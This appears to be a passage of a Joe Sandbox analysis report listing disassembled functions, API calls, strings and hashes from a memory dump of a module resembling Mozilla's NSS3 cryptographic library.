Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: f39930c1ffe9342c691462de49e38fe5da870819bcf6506638e6e927bb8967b3
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 5931F6B6D002155BEB008AA4EC01BAFB7B8AF45B1CF358138DC14A7B01E779E908C7D2

Function 6CE66C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CE66C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE66C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE66CA3

Part of subcall function 6CF4D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF4D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE66CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CE66CD5

Strings

pMechanism = 0x%p, xrefs: 6CE66CD0
C_DigestInit, xrefs: 6CE66C61
(CK_INVALID_HANDLE), xrefs: 6CE66C9C
hSession = 0x%x, xrefs: 6CE66C7E, 6CE66C8E

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 35cf02117e25caaf80bce583a0dd4aeaea71e62bc25a61032611ae764f8fc0f5
Instruction ID: 53cc6fa2e4896608d70ac9154db4ed2dfaa69020fc96bd410dc8080810218124
Opcode Fuzzy Hash: 35cf02117e25caaf80bce583a0dd4aeaea71e62bc25a61032611ae764f8fc0f5
Instruction Fuzzy Hash: 61213130F70100ABDF009F26DD89B9A3BB9EF4631CF594029E80997F12DB318948CB92

Function 6CE69DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CE69DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE69E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE69E33

Part of subcall function 6CF4D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF4D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE69E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CE69E65

Strings

(CK_INVALID_HANDLE), xrefs: 6CE69E2C
flags = 0x%x, xrefs: 6CE69E60
hSession = 0x%x, xrefs: 6CE69E0E, 6CE69E1E
C_SessionCancel, xrefs: 6CE69DF1

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 9acd95c3cb27f2090d4018456deffb1da87bb0798d520a5d7aacb14ecd038deb
Instruction ID: 33eb3308f4eab6c6c55eb45834ec05807d7707626cc666bed97f3bd1bef35d74
Opcode Fuzzy Hash: 9acd95c3cb27f2090d4018456deffb1da87bb0798d520a5d7aacb14ecd038deb
Instruction Fuzzy Hash: 6C217771A61104AFDF409F15DC88BAA37B4EB4230CF144029E909A7F12DB328C4CCBA2

Function 6CE30F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE30F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE30F84

Part of subcall function 6CE8B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF618D0,?), ref: 6CE8B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CE4F59B,6CF5890C,?), ref: 6CE30FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CE30FC1

Part of subcall function 6CE90BE0: malloc.MOZGLUE(6CE88D2D,?,00000000,?), ref: 6CE90BF8
Part of subcall function 6CE90BE0: TlsGetValue.KERNEL32(6CE88D2D,?,00000000,?), ref: 6CE90C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CE30FDB
PR_CallOnce.NSS3(6CF92AA4,6CE912D0), ref: 6CE30FEF
PL_FreeArenaPool.NSS3(?), ref: 6CE31001
PL_FinishArenaPool.NSS3(?), ref: 6CE31009

Strings

security, xrefs: 6CE30F5C

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 3e45c9389f895425bab447d2a8c1176084916b875b57c0a48b61bf3bf6e46548
Instruction ID: 41d7d0c9bf452857d3184f1ddbd03bb0a0dd5dfcb6a1066f1fad8783298b34de
Opcode Fuzzy Hash: 3e45c9389f895425bab447d2a8c1176084916b875b57c0a48b61bf3bf6e46548
Instruction Fuzzy Hash: 322106B1900204ABE7009F64DC41AAEB7B8EF8565CF20851DFC1896711F732E955CBD2

Function 6CE36DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CE37D8F,6CE37D8F,?,?), ref: 6CE36DC8

Part of subcall function 6CE8FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CE8FE08
Part of subcall function 6CE8FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CE8FE1D
Part of subcall function 6CE8FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CE8FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CE37D8F,?,?), ref: 6CE36DD5

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF58FA0,00000000,?,?,?,?,6CE37D8F,?,?), ref: 6CE36DF7

Part of subcall function 6CE8B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF618D0,?), ref: 6CE8B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE36E35

Part of subcall function 6CE8FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CE8FE29
Part of subcall function 6CE8FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CE8FE3D
Part of subcall function 6CE8FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CE8FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE36E4C

Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF58FE0,00000000), ref: 6CE36E82

Part of subcall function 6CE36AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CE3B21D,00000000,00000000,6CE3B219,?,6CE36BFB,00000000,?,00000000,00000000,?,?,?,6CE3B21D), ref: 6CE36B01
Part of subcall function 6CE36AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CE36B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE36F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE36F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF58FE0,00000000), ref: 6CE36F6B
PR_SetError.NSS3(FFFFE005,00000000,6CE37D8F,?,?), ref: 6CE36FE1

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: f00e51e15e5dd17b6fd4707178d19f6c021876fb41970c9eeca82a00fc0ee193
Instruction ID: 617dab5f24825a1c6fb5352e2f138062b0458dd132328a35ba285c1c9e8fde01
Opcode Fuzzy Hash: f00e51e15e5dd17b6fd4707178d19f6c021876fb41970c9eeca82a00fc0ee193
Instruction Fuzzy Hash: 5E719E71D112569BDB00CF65CD41BAABBB8BF9430CF255229E80CDBB11E771EA94CB90

Function 6CE70FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE71057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE71085
PK11_GetAllTokens.NSS3 ref: 6CE710B1
free.MOZGLUE(?), ref: 6CE71107
PR_SetError.NSS3(00000000,00000000), ref: 6CE71172
free.MOZGLUE(?), ref: 6CE71182
free.MOZGLUE(?), ref: 6CE711A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CE711C5

Part of subcall function 6CE752C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CE4EAC5,00000001), ref: 6CE752DF
Part of subcall function 6CE752C0: EnterCriticalSection.KERNEL32(?), ref: 6CE752F3
Part of subcall function 6CE752C0: PR_Unlock.NSS3(?), ref: 6CE75358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE711D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE711F3

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 91b628c4fcb7ec1912d02fa540745e1c0f0e10ad5ba50a6aeede946fb36cc987
Instruction ID: 0a065e3d4b0b4fb479b5302c964e7fe75ebacaa15eddb289939ce94b08760eab
Opcode Fuzzy Hash: 91b628c4fcb7ec1912d02fa540745e1c0f0e10ad5ba50a6aeede946fb36cc987
Instruction Fuzzy Hash: 6D61C4B1E013459FEB10DFA4D895BAEB7B4AF08348F244128EC1DAB741E731E945CB61

Function 6CE7ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AE10
EnterCriticalSection.KERNEL32(?,?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CE5D079,00000000,00000001), ref: 6CE7AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AE7F
TlsGetValue.KERNEL32(?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AEF1
free.MOZGLUE(6CE5CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE5CDBB,?), ref: 6CE7AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AF30

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: f5f18ff6b842880e11789cb1348bc7189b3955d16118408f047305d082dd0d5d
Instruction ID: 6aa79cf5f360d543ec5f98141cee8273f707cead59511b7d9a0923a2d2e6342c
Opcode Fuzzy Hash: f5f18ff6b842880e11789cb1348bc7189b3955d16118408f047305d082dd0d5d
Instruction Fuzzy Hash: 1B51BDB1A41602EFDB14DF25D885B66B7B4FF05318F245268E81897F11E731E8A4CBE1

Function 6CE54CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE5AB7F,?,00000000,?), ref: 6CE54CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CE5AB7F,?,00000000,?), ref: 6CE54CC8
TlsGetValue.KERNEL32(?,6CE5AB7F,?,00000000,?), ref: 6CE54CE0
EnterCriticalSection.KERNEL32(?,?,6CE5AB7F,?,00000000,?), ref: 6CE54CF4
PL_HashTableLookup.NSS3(?,?,?,6CE5AB7F,?,00000000,?), ref: 6CE54D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CE54D10

Part of subcall function 6CEDDD70: TlsGetValue.KERNEL32 ref: 6CEDDD8C
Part of subcall function 6CEDDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEDDDB4

PR_Now.NSS3(?,00000000,?), ref: 6CE54D26

Part of subcall function 6CEF9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF40A27), ref: 6CEF9DC6
Part of subcall function 6CEF9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF40A27), ref: 6CEF9DD1
Part of subcall function 6CEF9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CEF9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CE54D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CE54DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CE54E02

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 9029acc4bd34b12e9c2a7872079713965befa8b44d1be2816864064602520339
Instruction ID: 56185aaa9f9044e8dedc81d8b7184f1ac04d98c504a6a2b37d38e391a6110989
Opcode Fuzzy Hash: 9029acc4bd34b12e9c2a7872079713965befa8b44d1be2816864064602520339
Instruction Fuzzy Hash: FD41BAB6D00205ABEB015F24EC44A6677B8AF0621CF658175EC1997B11FB32D935C7E1

Function 6CE3BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE3BFFB

Part of subcall function 6CE90FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE387ED,00000800,6CE2EF74,00000000), ref: 6CE91000
Part of subcall function 6CE90FF0: PR_NewLock.NSS3(?,00000800,6CE2EF74,00000000), ref: 6CE91016
Part of subcall function 6CE90FF0: PL_InitArenaPool.NSS3(00000000,security,6CE387ED,00000008,?,00000800,6CE2EF74,00000000), ref: 6CE9102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CE3C015

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CE3C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CE3C04D

Part of subcall function 6CE869E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE86A47
Part of subcall function 6CE869E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CE86A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CE3C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CE3C07B

Part of subcall function 6CE38980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CE37310), ref: 6CE389B8
Part of subcall function 6CE38980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CE37310), ref: 6CE389E6
Part of subcall function 6CE38980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CE38A00
Part of subcall function 6CE38980: CERT_CopyRDN.NSS3(00000004,00000000,6CE37310,?,?,00000004,?), ref: 6CE38A1B
Part of subcall function 6CE38980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CE38A74

Part of subcall function 6CE31D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CE3C097,00000000,000000B0,?), ref: 6CE31D2C
Part of subcall function 6CE31D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CE3C09B,00000000,00000000,00000000,?,6CE3C097,00000000,000000B0,?), ref: 6CE31D3F
Part of subcall function 6CE31D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CE3C087,00000000,000000B0,?), ref: 6CE31D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CE3C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CE3C0C9

Part of subcall function 6CE42DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CE3C0D2,6CE3C0CE,00000000,-000000D4,?), ref: 6CE42DF5
Part of subcall function 6CE42DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CE3C0CE,00000000,-000000D4,?), ref: 6CE42E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CE3C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE3C0E3

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 6465ff06c158aa739036a27566f9fd6b70f4f075b48b8a3863c48df9246402c0
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: A62165A264022567FB006A61AC81FFB36BC9B4175CF285138FD0CD9746FB26E519C672

Function 6CE32E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE32CDA,?,00000000), ref: 6CE32E1E

Part of subcall function 6CE8FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE39003,?), ref: 6CE8FD91
Part of subcall function 6CE8FD80: PORT_Alloc_Util.NSS3(A4686CE9,?), ref: 6CE8FDA2
Part of subcall function 6CE8FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CE9,?,?), ref: 6CE8FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE32E33

Part of subcall function 6CE8FD80: free.MOZGLUE(00000000,?,?), ref: 6CE8FDD1

TlsGetValue.KERNEL32 ref: 6CE32E4E
EnterCriticalSection.KERNEL32(?), ref: 6CE32E5E
PL_HashTableLookup.NSS3(?), ref: 6CE32E71
PL_HashTableRemove.NSS3(?), ref: 6CE32E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CE32E96
PR_Unlock.NSS3 ref: 6CE32EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE32EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE32EC5

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: c8385191042dd44ba6c2012da4c981877396c05fe7b64f3551c413725cfb4cc8
Instruction ID: d2bec57ea8a0282eb217288abe85bab63978ca90bd64c4b5feb07c1198f5d395
Opcode Fuzzy Hash: c8385191042dd44ba6c2012da4c981877396c05fe7b64f3551c413725cfb4cc8
Instruction Fuzzy Hash: 3A21D372E04110A7EF011B269C0ABDA3A78DB5225DF240534ED1C92762F732E659D6E1

Function 6CE1FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE1FD18
sqlite3_initialize.NSS3 ref: 6CE1FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE1FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CE1FD99
sqlite3_free.NSS3(00000000), ref: 6CE1FE3C
sqlite3_free.NSS3(?), ref: 6CE1FEE3
sqlite3_free.NSS3(?), ref: 6CE1FEEE

Strings

simple, xrefs: 6CE1FC79

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

